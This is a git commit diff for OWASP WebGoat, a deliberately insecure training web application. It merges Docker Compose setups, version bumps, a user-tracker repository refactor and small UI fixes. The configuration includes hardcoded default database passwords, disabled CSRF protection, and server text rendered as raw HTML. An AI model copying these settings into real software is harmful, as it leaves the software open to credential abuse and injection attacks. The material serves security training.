merging from release branch ... PR's and Nanne's recent work

This commit is contained in:
Jason 2018-05-02 14:27:44 -06:00
commit 927bbad488
87 changed files with 542 additions and 174 deletions

1
.gitignore vendored
View File

@ -42,3 +42,4 @@ webgoat-lessons/**/target
**/.DS_Store **/.DS_Store
webgoat-server/mongo-data/* webgoat-server/mongo-data/*
webgoat-lessons/vulnerable-components/dependency-reduced-pom.xml webgoat-lessons/vulnerable-components/dependency-reduced-pom.xml
/.sonatype

View File

@ -40,6 +40,15 @@ docker pull webgoat/webgoat-8.0
docker run -p 8080:8080 -it webgoat/webgoat-8.0 /home/webgoat/start.sh docker run -p 8080:8080 -it webgoat/webgoat-8.0 /home/webgoat/start.sh
``` ```
If you want to keep the database between Docker sessions you need to map the WebGoat data directory to a
folder on the host system as follows:
```Shell
docker run -p 8080:8080 -it -v /tmp/webgoat-data:/home/webgoat/.webgoat-${VERSION} webgoat/webgoat-8.0 /home/webgoat/start.sh
```
where `${VERSION}` is for example `v8.0.0.M14`. The data will now be stored in `/tmp/webgoat-data` on your host system.
Wait for the Docker container to start, and run `docker ps` to verify it's running. Wait for the Docker container to start, and run `docker ps` to verify it's running.
- If you are using `docker-machine`, verify the machine IP using `docker-machine env` - If you are using `docker-machine`, verify the machine IP using `docker-machine env`

View File

@ -0,0 +1,35 @@
version: '2.0'
services:
webgoat:
image: webgoat/webgoat-8.0
user: webgoat
environment:
- WEBWOLF_HOST=webwolf
- spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat
- spring.datasource.username=webgoat
- spring.datasource.password=webgoat
- spring.datasource.driver-class-name=org.postgresql.Driver
- spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL94Dialect
ports:
- "8080:8080"
webwolf:
image: webgoat/webwolf
environment:
- spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat
- spring.datasource.username=webgoat
- spring.datasource.password=webgoat
- spring.datasource.driver-class-name=org.postgresql.Driver
- spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL94Dialect
ports:
- "8081:8081"
db:
container_name: webgoat_db
image: postgres:latest
environment:
- POSTGRES_PASSWORD=webgoat
- POSTGRES_USER=webgoat
- POSTGRES_DB=webgoat
ports:
- "5432:5432"

View File

@ -1,15 +1,28 @@
version: '2.0' version: '2.1'
services: services:
webgoat: webgoat:
build: webgoat-server/ image: webgoat/webgoat-8.0
command: "sh /home/webgoat/start.sh" environment:
- WEBWOLF_HOST=webwolf
- spring.datasource.url=jdbc:hsqldb:hsql://webgoat_db:9001/webgoat
ports: ports:
- "8080:8080" - "8080:8080"
webwolf:
build: webwolf/
command: "sh /home/webwolf/start.sh"
depends_on: depends_on:
- webgoat - db
webwolf:
image: webgoat/webwolf
environment:
- spring.datasource.url=jdbc:hsqldb:hsql://webgoat_db:9001/webgoat
ports: ports:
- "8081:8081" - "8081:8081"
depends_on:
- db
db:
image: blacklabelops/hsqldb
container_name: webgoat_db
environment:
- HSQLDB_TRACE=false
- HSQLDB_SILENT=true
- HSQLDB_DATABASE_NAME=webgoat
- HSQLDB_DATABASE_ALIAS=webgoat

View File

@ -5,7 +5,7 @@
<groupId>org.owasp.webgoat</groupId> <groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId> <artifactId>webgoat-parent</artifactId>
<packaging>pom</packaging> <packaging>pom</packaging>
<version>8.0.0.M3</version> <version>v8.0.0.M14</version>
<name>WebGoat Parent Pom</name> <name>WebGoat Parent Pom</name>
<description>Parent Pom for the WebGoat Project. A deliberately insecure Web Application</description> <description>Parent Pom for the WebGoat Project. A deliberately insecure Web Application</description>
@ -20,7 +20,7 @@
<parent> <parent>
<groupId>org.springframework.boot</groupId> <groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId> <artifactId>spring-boot-starter-parent</artifactId>
<version>1.5.9.RELEASE</version> <version>1.5.12.RELEASE</version>
</parent> </parent>
<licenses> <licenses>
@ -135,7 +135,7 @@
<gatling-plugin.version>2.2.4</gatling-plugin.version> <gatling-plugin.version>2.2.4</gatling-plugin.version>
<guava.version>18.0</guava.version> <guava.version>18.0</guava.version>
<h2.version>1.4.190</h2.version> <h2.version>1.4.190</h2.version>
<hsqldb.version>2.3.2</hsqldb.version> <hsqldb.version>2.3.4</hsqldb.version>
<j2h.version>1.3.1</j2h.version> <j2h.version>1.3.1</j2h.version>
<jackson-core.version>2.6.3</jackson-core.version> <jackson-core.version>2.6.3</jackson-core.version>
<jackson-databind.version>2.6.3</jackson-databind.version> <jackson-databind.version>2.6.3</jackson-databind.version>

View File

@ -20,3 +20,21 @@ elif [ ! -z "${TRAVIS_TAG}" ]; then
else else
echo "Skipping releasing to DockerHub because it is a build of branch ${BRANCH}" echo "Skipping releasing to DockerHub because it is a build of branch ${BRANCH}"
fi fi
export REPO=webgoat/webwolf
cd ..
cd webwolf
ls target/
if [ "${BRANCH}" == "master" ] && [ ! -z "${TRAVIS_TAG}" ]; then
# If we push a tag to master this will update the LATEST Docker image and tag with the version number
docker build --build-arg webwolf_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:latest -t $REPO:${TRAVIS_TAG} .
docker push $REPO
elif [ ! -z "${TRAVIS_TAG}" ]; then
# Creating a tag build we push it to Docker with that tag
docker build --build-arg webwolf_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:${TRAVIS_TAG} -t $REPO:latest .
docker push $REPO
else
echo "Skipping releasing to DockerHub because it is a build of branch ${BRANCH}"
fi

View File

@ -10,7 +10,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat</groupId> <groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId> <artifactId>webgoat-parent</artifactId>
<version>8.0.0.M3</version> <version>v8.0.0.M14</version>
</parent> </parent>
<profiles> <profiles>

View File

@ -35,6 +35,7 @@ import com.google.common.collect.Sets;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.asciidoctor.Asciidoctor; import org.asciidoctor.Asciidoctor;
import org.asciidoctor.extension.JavaExtensionRegistry; import org.asciidoctor.extension.JavaExtensionRegistry;
import org.owasp.webgoat.asciidoc.WebGoatVersionMacro;
import org.owasp.webgoat.asciidoc.WebWolfMacro; import org.owasp.webgoat.asciidoc.WebWolfMacro;
import org.owasp.webgoat.i18n.Language; import org.owasp.webgoat.i18n.Language;
import org.thymeleaf.TemplateProcessingParameters; import org.thymeleaf.TemplateProcessingParameters;
@ -86,6 +87,7 @@ public class AsciiDoctorTemplateResolver extends TemplateResolver {
StringWriter writer = new StringWriter(); StringWriter writer = new StringWriter();
JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry(); JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class); extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes()); asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
return new ByteArrayInputStream(writer.getBuffer().toString().getBytes(UTF_8)); return new ByteArrayInputStream(writer.getBuffer().toString().getBytes(UTF_8));

View File

@ -130,6 +130,7 @@ public class MvcConfiguration extends WebMvcConfigurerAdapter {
@Bean @Bean
public PluginMessages pluginMessages(Messages messages, Language language) { public PluginMessages pluginMessages(Messages messages, Language language) {
PluginMessages pluginMessages = new PluginMessages(messages, language); PluginMessages pluginMessages = new PluginMessages(messages, language);
pluginMessages.setDefaultEncoding("UTF-8");
pluginMessages.setBasenames("i18n/WebGoatLabels"); pluginMessages.setBasenames("i18n/WebGoatLabels");
return pluginMessages; return pluginMessages;
} }
@ -142,6 +143,7 @@ public class MvcConfiguration extends WebMvcConfigurerAdapter {
@Bean @Bean
public Messages messageSource(Language language) { public Messages messageSource(Language language) {
Messages messages = new Messages(language); Messages messages = new Messages(language);
messages.setDefaultEncoding("UTF-8");
messages.setBasename("classpath:i18n/messages"); messages.setBasename("classpath:i18n/messages");
return messages; return messages;
} }

View File

@ -0,0 +1,23 @@
package org.owasp.webgoat.asciidoc;
import org.asciidoctor.ast.AbstractBlock;
import org.asciidoctor.extension.InlineMacroProcessor;
import org.springframework.core.env.Environment;
import org.springframework.util.StringUtils;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import javax.servlet.http.HttpServletRequest;
import java.util.Map;
public class WebGoatVersionMacro extends InlineMacroProcessor {
public WebGoatVersionMacro(String macroName, Map<String, Object> config) {
super(macroName, config);
}
@Override
protected String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
return EnvironmentExposure.getEnv().getProperty("webgoat.build.version");
}
}

View File

@ -10,6 +10,12 @@ import org.springframework.web.context.request.ServletRequestAttributes;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import java.util.Map; import java.util.Map;
/**
* Usage in asciidoc:
* <p>
* webWolfLink:here[] will display a href with here as text
* webWolfLink:landing[noLink] will display the complete url, for example: http://WW_HOST:WW_PORT/landing
*/
public class WebWolfMacro extends InlineMacroProcessor { public class WebWolfMacro extends InlineMacroProcessor {
public WebWolfMacro(String macroName, Map<String, Object> config) { public WebWolfMacro(String macroName, Map<String, Object> config) {
@ -20,9 +26,17 @@ public class WebWolfMacro extends InlineMacroProcessor {
protected String process(AbstractBlock parent, String target, Map<String, Object> attributes) { protected String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
Environment env = EnvironmentExposure.getEnv(); Environment env = EnvironmentExposure.getEnv();
String hostname = determineHost(env.getProperty("webwolf.host"), env.getProperty("webwolf.port")); String hostname = determineHost(env.getProperty("webwolf.host"), env.getProperty("webwolf.port"));
if (displayCompleteLinkNoFormatting(attributes)) {
return hostname + (hostname.endsWith("/") ? "" : "/") + target;
}
return "<a href=\"" + hostname + "\" target=\"_blank\">" + target + "</a>"; return "<a href=\"" + hostname + "\" target=\"_blank\">" + target + "</a>";
} }
private boolean displayCompleteLinkNoFormatting(Map<String, Object> attributes) {
return attributes.values().stream().filter(a -> a.equals("noLink")).findFirst().isPresent();
}
/** /**
* Look at the remote address from received from the browser first. This way it will also work if you run * Look at the remote address from received from the browser first. This way it will also work if you run
* the browser in a Docker container and WebGoat on your local machine. * the browser in a Docker container and WebGoat on your local machine.

View File

@ -55,7 +55,7 @@ public abstract class AssignmentEndpoint extends Endpoint {
//// TODO: 11/13/2016 events better fit? //// TODO: 11/13/2016 events better fit?
protected AttackResult trackProgress(AttackResult attackResult) { protected AttackResult trackProgress(AttackResult attackResult) {
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName()); UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
if (userTracker == null) { if (userTracker == null) {
userTracker = new UserTracker(webSession.getUserName()); userTracker = new UserTracker(webSession.getUserName());
} }

View File

@ -1,11 +1,9 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import com.google.common.collect.Lists;
import lombok.*; import lombok.*;
import javax.persistence.Entity; import javax.persistence.*;
import javax.persistence.Id;
import javax.persistence.OneToMany;
import javax.persistence.Transient;
import java.util.List; import java.util.List;
/** /**
@ -37,19 +35,30 @@ import java.util.List;
* @version $Id: $Id * @version $Id: $Id
* @since November 25, 2016 * @since November 25, 2016
*/ */
@AllArgsConstructor
@RequiredArgsConstructor
@NoArgsConstructor
@Getter @Getter
@EqualsAndHashCode @EqualsAndHashCode
@Entity @Entity
public class Assignment { public class Assignment {
@NonNull
@Id @Id
@GeneratedValue(strategy = GenerationType.AUTO)
private Long id;
private String name; private String name;
@NonNull
private String path; private String path;
@Transient @Transient
private List<String> hints; private List<String> hints;
private Assignment() {
//Hibernate
}
public Assignment(String name, String path) {
this(name, path, Lists.newArrayList());
}
public Assignment(String name, String path, List<String> hints) {
this.name = name;
this.path = path;
this.hints = hints;
}
} }

View File

@ -73,7 +73,7 @@ public class LessonMenuService {
List<LessonMenuItem> showLeftNav() { List<LessonMenuItem> showLeftNav() {
List<LessonMenuItem> menu = new ArrayList<>(); List<LessonMenuItem> menu = new ArrayList<>();
List<Category> categories = course.getCategories(); List<Category> categories = course.getCategories();
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName()); UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
for (Category category : categories) { for (Category category : categories) {
LessonMenuItem categoryItem = new LessonMenuItem(); LessonMenuItem categoryItem = new LessonMenuItem();

View File

@ -40,9 +40,10 @@ public class LessonProgressService {
@RequestMapping(value = "/service/lessonprogress.mvc", produces = "application/json") @RequestMapping(value = "/service/lessonprogress.mvc", produces = "application/json")
@ResponseBody @ResponseBody
public Map getLessonInfo() { public Map getLessonInfo() {
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName());
LessonTracker lessonTracker = userTracker.getLessonTracker(webSession.getCurrentLesson());
Map json = Maps.newHashMap(); Map json = Maps.newHashMap();
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
if (webSession.getCurrentLesson() != null) {
LessonTracker lessonTracker = userTracker.getLessonTracker(webSession.getCurrentLesson());
String successMessage = ""; String successMessage = "";
boolean lessonCompleted = false; boolean lessonCompleted = false;
if (lessonTracker != null) { if (lessonTracker != null) {
@ -51,6 +52,7 @@ public class LessonProgressService {
} }
json.put("lessonCompleted", lessonCompleted); json.put("lessonCompleted", lessonCompleted);
json.put("successMessage", successMessage); json.put("successMessage", successMessage);
}
return json; return json;
} }
@ -63,7 +65,7 @@ public class LessonProgressService {
@RequestMapping(value = "/service/lessonoverview.mvc", produces = "application/json") @RequestMapping(value = "/service/lessonoverview.mvc", produces = "application/json")
@ResponseBody @ResponseBody
public List<LessonOverview> lessonOverview() { public List<LessonOverview> lessonOverview() {
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName()); UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
AbstractLesson currentLesson = webSession.getCurrentLesson(); AbstractLesson currentLesson = webSession.getCurrentLesson();
List<LessonOverview> result = Lists.newArrayList(); List<LessonOverview> result = Lists.newArrayList();
if ( currentLesson != null ) { if ( currentLesson != null ) {

View File

@ -32,6 +32,7 @@ import com.google.common.collect.Lists;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Getter; import lombok.Getter;
import lombok.Setter; import lombok.Setter;
import org.owasp.webgoat.i18n.PluginMessages;
import org.owasp.webgoat.lessons.AbstractLesson; import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.session.Course; import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
@ -57,6 +58,7 @@ public class ReportCardService {
private final WebSession webSession; private final WebSession webSession;
private final UserTrackerRepository userTrackerRepository; private final UserTrackerRepository userTrackerRepository;
private final Course course; private final Course course;
private final PluginMessages pluginMessages;
/** /**
* Endpoint which generates the report card for the current use to show the stats on the solved lessons * Endpoint which generates the report card for the current use to show the stats on the solved lessons
@ -64,7 +66,7 @@ public class ReportCardService {
@GetMapping(path = "/service/reportcard.mvc", produces = "application/json") @GetMapping(path = "/service/reportcard.mvc", produces = "application/json")
@ResponseBody @ResponseBody
public ReportCard reportCard() { public ReportCard reportCard() {
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName()); UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
List<AbstractLesson> lessons = course.getLessons(); List<AbstractLesson> lessons = course.getLessons();
ReportCard reportCard = new ReportCard(); ReportCard reportCard = new ReportCard();
reportCard.setTotalNumberOfLessons(course.getTotalOfLessons()); reportCard.setTotalNumberOfLessons(course.getTotalOfLessons());
@ -74,7 +76,7 @@ public class ReportCardService {
for (AbstractLesson lesson : lessons) { for (AbstractLesson lesson : lessons) {
LessonTracker lessonTracker = userTracker.getLessonTracker(lesson); LessonTracker lessonTracker = userTracker.getLessonTracker(lesson);
LessonStatistics lessonStatistics = new LessonStatistics(); LessonStatistics lessonStatistics = new LessonStatistics();
lessonStatistics.setName(lesson.getTitle()); lessonStatistics.setName(pluginMessages.getMessage(lesson.getTitle()));
lessonStatistics.setNumberOfAttempts(lessonTracker.getNumberOfAttempts()); lessonStatistics.setNumberOfAttempts(lessonTracker.getNumberOfAttempts());
lessonStatistics.setSolved(lessonTracker.isLessonSolved()); lessonStatistics.setSolved(lessonTracker.isLessonSolved());
reportCard.lessonStatistics.add(lessonStatistics); reportCard.lessonStatistics.add(lessonStatistics);

View File

@ -59,7 +59,7 @@ public class RestartLessonService {
AbstractLesson al = webSession.getCurrentLesson(); AbstractLesson al = webSession.getCurrentLesson();
log.debug("Restarting lesson: " + al); log.debug("Restarting lesson: " + al);
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName()); UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
userTracker.reset(al); userTracker.reset(al);
userTrackerRepository.save(userTracker); userTrackerRepository.save(userTracker);
} }

View File

@ -47,8 +47,11 @@ import java.util.stream.Collectors;
*/ */
@Entity @Entity
public class LessonTracker { public class LessonTracker {
@Getter
@Id @Id
@GeneratedValue(strategy = GenerationType.AUTO)
private Long id;
@Getter
private String lessonName; private String lessonName;
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER) @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
private final Set<Assignment> solvedAssignments = Sets.newHashSet(); private final Set<Assignment> solvedAssignments = Sets.newHashSet();

View File

@ -38,7 +38,7 @@ public class Scoreboard {
List<WebGoatUser> allUsers = userRepository.findAll(); List<WebGoatUser> allUsers = userRepository.findAll();
List<Ranking> rankings = Lists.newArrayList(); List<Ranking> rankings = Lists.newArrayList();
for (WebGoatUser user : allUsers) { for (WebGoatUser user : allUsers) {
UserTracker userTracker = userTrackerRepository.findOne(user.getUsername()); UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername());
rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker))); rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker)));
} }
return rankings; return rankings;

View File

@ -50,6 +50,9 @@ import java.util.stream.Collectors;
public class UserTracker { public class UserTracker {
@Id @Id
@GeneratedValue(strategy = GenerationType.AUTO)
private Long id;
@Column(name = "username")
private String user; private String user;
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER) @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
private Set<LessonTracker> lessonTrackers = Sets.newHashSet(); private Set<LessonTracker> lessonTrackers = Sets.newHashSet();

View File

@ -8,5 +8,6 @@ import org.springframework.data.jpa.repository.JpaRepository;
*/ */
public interface UserTrackerRepository extends JpaRepository<UserTracker, String> { public interface UserTrackerRepository extends JpaRepository<UserTracker, String> {
UserTracker findByUser(String user);
} }

View File

@ -3,9 +3,12 @@ server.error.path=/error.html
server.session.timeout=600 server.session.timeout=600
server.contextPath=/WebGoat server.contextPath=/WebGoat
server.port=8080 server.port=8080
server.address=127.0.0.1
spring.datasource.url=jdbc:hsqldb:file:${webgoat.server.directory}/data/webgoat spring.datasource.url=jdbc:hsqldb:hsql://localhost:9001/webgoat
spring.jpa.hibernate.ddl-auto=update spring.jpa.hibernate.ddl-auto=update
spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect
spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver
logging.level.org.springframework=WARN logging.level.org.springframework=WARN
@ -19,9 +22,10 @@ security.enable-csrf=false
spring.resources.cache-period=0 spring.resources.cache-period=0
spring.thymeleaf.cache=false spring.thymeleaf.cache=false
webgoat.start.hsqldb=true
webgoat.clean=false webgoat.clean=false
webgoat.server.directory=${user.home}/.webgoat/ webgoat.server.directory=${user.home}/.webgoat-${webgoat.build.version}/
webgoat.user.directory=${user.home}/.webgoat/ webgoat.user.directory=${user.home}/.webgoat-${webgoat.build.version}/
webgoat.build.version=@project.version@ webgoat.build.version=@project.version@
webgoat.build.number=@build.number@ webgoat.build.number=@build.number@
webgoat.email=webgoat@owasp.org webgoat.email=webgoat@owasp.org

View File

@ -1066,6 +1066,7 @@ span.show-next-page, span.show-prev-page {
/* ATTACK DISPLAY */ /* ATTACK DISPLAY */
.attack-container { .attack-container {
position: relative;
background-color: #f1f1f1; background-color: #f1f1f1;
border: 2px solid #a66; border: 2px solid #a66;
border-radius: 12px; border-radius: 12px;
@ -1151,3 +1152,15 @@ div.captured-flag {
width: 1268px; width: 1268px;
margin-bottom: 20px; margin-bottom: 20px;
} }
#content {
position:relative;
}
.webwolf-enabled {
position:absolute;
top: 10px;
right: 25px;
width: 42px;
height: 47px;
}

View File

@ -2,28 +2,32 @@ define(['jquery',
'underscore', 'underscore',
'backbone', 'backbone',
'goatApp/model/MenuModel'], 'goatApp/model/MenuModel'],
function($,_,Backbone,MenuModel) { function ($, _, Backbone, MenuModel) {
return Backbone.Collection.extend({ return Backbone.Collection.extend({
model: MenuModel, model: MenuModel,
url:'service/lessonmenu.mvc', url: 'service/lessonmenu.mvc',
initialize: function () { initialize: function () {
var self = this; var self = this;
this.fetch(); this.fetch();
setInterval(function () {
this.fetch()
}.bind(this), 5000);
}, },
onDataLoaded: function() { onDataLoaded: function () {
this.trigger('menuData:loaded'); this.trigger('menuData:loaded');
}, },
fetch: function() { fetch: function () {
var self=this; var self = this;
Backbone.Collection.prototype.fetch.apply(this,arguments).then( Backbone.Collection.prototype.fetch.apply(this, arguments).then(
function(data) { function (data) {
this.models = data; this.models = data;
self.onDataLoaded(); self.onDataLoaded();
} }
); );
} }
}); });
}); });

View File

@ -67,7 +67,7 @@ define(['jquery',
contentType: 'application/x-www-form-urlencoded; charset=UTF-8', contentType: 'application/x-www-form-urlencoded; charset=UTF-8',
success: function (data) { success: function (data) {
//devs leave stuff like this in all the time //devs leave stuff like this in all the time
console.log('phone home said ' + data); console.log('phone home said ' + JSON.stringify(data));
} }
}); });
} }

View File

@ -25,6 +25,9 @@ define(['jquery',
self.navToPage(page); self.navToPage(page);
} }
}); });
setInterval(function () {
this.updatePagination();
}.bind(this), 5000);
}, },
findPage: function(assignment) { findPage: function(assignment) {
@ -60,7 +63,9 @@ define(['jquery',
}, },
updatePagination: function() { updatePagination: function() {
if ( this.paginationControlView != undefined ) {
this.paginationControlView.updateCollection(); this.paginationControlView.updateCollection();
}
}, },
getCurrentPage: function () { getCurrentPage: function () {
@ -146,14 +151,23 @@ define(['jquery',
return false; return false;
}, },
removeSlashesFromJSON: function(str) {
// slashes are leftover escapes from JSON serialization by server
// for every two char sequence starting with backslash,
// replace them in the text with second char only
return str.replace(/\\(.)/g, "$1");
},
renderFeedback: function(feedback) { renderFeedback: function(feedback) {
this.$curFeedback.html(polyglot.t(feedback) || ""); var s = this.removeSlashesFromJSON(feedback);
this.$curFeedback.html(polyglot.t(s) || "");
this.$curFeedback.show(400) this.$curFeedback.show(400)
}, },
renderOutput: function(output) { renderOutput: function(output) {
this.$curOutput.html(polyglot.t(output) || ""); var s = this.removeSlashesFromJSON(output);
this.$curOutput.html(polyglot.t(s) || "");
this.$curOutput.show(400) this.$curOutput.show(400)
}, },

View File

@ -76,24 +76,25 @@
</a> </a>
</li> </li>
<li role="presentation" class="divider"></li> <li role="presentation" class="divider"></li>
<li role="presentation" class="disabled"><a role="menuitem" tabindex="-1" href="#" <li role="presentation" class="disabled"><a role="menuitem" tabindex="-1" href="#">
th:text="#{version}">Version: <span <span th:text="#{version}">Version:</span><span>: </span>
th:text="${@environment.getProperty('webgoat.build.version')}"></span></a> <span th:text="${@environment.getProperty('webgoat.build.version')}"></span></a>
</li> </li>
<li role="presentation" class="disabled"><a role="menuitem" tabindex="-1" href="#" <li role="presentation" class="disabled"><a role="menuitem" tabindex="-1" href="#">
th:text="#{build}">Build: <span th:text="#{build}">Build:</span><span>: </span>
<span th:text="${@environment.getProperty('webgoat.build.number')}"></span></a></li> <span th:text="${@environment.getProperty('webgoat.build.number')}"></span></a></li>
</ul> </ul>
</div> </div>
<div style="display:inline" id="settings"> <div style="display:inline" id="settings">
<!--<button type="button" id="admin-button" class="btn btn-default right_nav_button" title="Administrator">--> <!--<button type="button" id="admin-button" class="btn btn-default right_nav_button" title="Administrator">-->
<!--<i class="fa fa-cog"></i>--> <!--<i class="fa fa-cog"></i>-->
<!--</button>--> <!--</button>-->
<a href="#reportCard">
<button type="button" id="report-card-button" class="btn btn-default right_nav_button button-up" <button type="button" id="report-card-button" class="btn btn-default right_nav_button button-up"
th:title="#{report.card}"> th:title="#{report.card}">
<a href="#reportCard"><i class="fa fa-bar-chart-o"></i></a> <i class="fa fa-bar-chart-o"></i>
</button> </button>
</a>
<!--<button type="button" id="user-management" class="btn btn-default right_nav_button"--> <!--<button type="button" id="user-management" class="btn btn-default right_nav_button"-->
<!--title="User management">--> <!--title="User management">-->
<!--<i class="fa fa-users"></i>--> <!--<i class="fa fa-users"></i>-->

View File

@ -62,7 +62,7 @@ public class AssignmentEndpointTest {
public void init(AssignmentEndpoint a) { public void init(AssignmentEndpoint a) {
messages.setBasenames("classpath:/i18n/messages", "classpath:/i18n/WebGoatLabels"); messages.setBasenames("classpath:/i18n/messages", "classpath:/i18n/WebGoatLabels");
when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker); when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
ReflectionTestUtils.setField(a, "userTrackerRepository", userTrackerRepository); ReflectionTestUtils.setField(a, "userTrackerRepository", userTrackerRepository);
ReflectionTestUtils.setField(a, "userSessionData", userSessionData); ReflectionTestUtils.setField(a, "userSessionData", userSessionData);
ReflectionTestUtils.setField(a, "webSession", webSession); ReflectionTestUtils.setField(a, "webSession", webSession);

View File

@ -63,7 +63,7 @@ public class LessonMenuServiceTest {
when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1, l2)); when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1, l2));
when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL)); when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL));
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker); when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker); when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC)) mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC))
.andExpect(status().isOk()) .andExpect(status().isOk())
@ -81,7 +81,7 @@ public class LessonMenuServiceTest {
when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1)); when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1));
when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL)); when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL));
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker); when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker); when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC)) mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC))

View File

@ -72,7 +72,7 @@ public class LessonProgressServiceTest {
@Before @Before
public void setup() { public void setup() {
Assignment assignment = new Assignment("test", "test"); Assignment assignment = new Assignment("test", "test");
when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker); when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker); when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
when(websession.getCurrentLesson()).thenReturn(lesson); when(websession.getCurrentLesson()).thenReturn(lesson);
when(lessonTracker.getLessonOverview()).thenReturn(Maps.newHashMap(assignment, true)); when(lessonTracker.getLessonOverview()).thenReturn(Maps.newHashMap(assignment, true));

View File

@ -6,6 +6,7 @@ import org.junit.Test;
import org.junit.runner.RunWith; import org.junit.runner.RunWith;
import org.mockito.Mock; import org.mockito.Mock;
import org.mockito.runners.MockitoJUnitRunner; import org.mockito.runners.MockitoJUnitRunner;
import org.owasp.webgoat.i18n.PluginMessages;
import org.owasp.webgoat.lessons.AbstractLesson; import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.session.Course; import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
@ -40,10 +41,13 @@ public class ReportCardServiceTest {
private UserTrackerRepository userTrackerRepository; private UserTrackerRepository userTrackerRepository;
@Mock @Mock
private WebSession websession; private WebSession websession;
@Mock
private PluginMessages pluginMessages;
@Before @Before
public void setup() { public void setup() {
this.mockMvc = standaloneSetup(new ReportCardService(websession, userTrackerRepository, course)).build(); this.mockMvc = standaloneSetup(new ReportCardService(websession, userTrackerRepository, course, pluginMessages)).build();
when(pluginMessages.getMessage(anyString())).thenReturn("Test");
} }
@Test @Test
@ -53,7 +57,7 @@ public class ReportCardServiceTest {
when(course.getTotalOfLessons()).thenReturn(1); when(course.getTotalOfLessons()).thenReturn(1);
when(course.getTotalOfAssignments()).thenReturn(10); when(course.getTotalOfAssignments()).thenReturn(10);
when(course.getLessons()).thenReturn(Lists.newArrayList(lesson)); when(course.getLessons()).thenReturn(Lists.newArrayList(lesson));
when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker); when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
